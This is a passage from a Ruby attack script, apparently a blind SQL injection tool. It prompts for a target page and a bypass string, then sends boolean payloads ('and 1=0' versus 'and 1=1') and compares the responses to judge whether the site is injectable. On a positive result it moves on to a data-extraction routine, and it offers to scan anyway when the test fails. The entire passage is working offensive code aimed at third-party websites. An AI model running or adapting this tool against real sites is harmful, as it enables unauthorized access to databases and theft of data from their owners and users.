  print "\n\n[+] Testing vulnerability ...\n\n"
  codeuno = toma(page+"1"+pass1+"and"+pass1+"1=0"+pass2)
  codedos = toma(page+"1"+pass1+"and"+pass1+"1=1"+pass2)
  if codeuno != codedos
    print "[+] Vulnerable !\n"
    findlength(page,by)
  else
    print "[-] Not vulnerable\n"
    print "\n[+] Scan anyway y/n : "
    op = gets.chomp
    if op == "y"
      findlength(page,by)
    else
      volverinicio()
  end
 end  
end
 
def inicio()
  clean()
  head()
  print "\n\n[+] Page : "
  page = gets.chomp
  print "\n[+] Bypass : "
  by = gets.chomp
  if page=~/hackman/
    central(page,by)
  else
    testvul(page,by)
  end
end

installer()
inicio()

# The End ?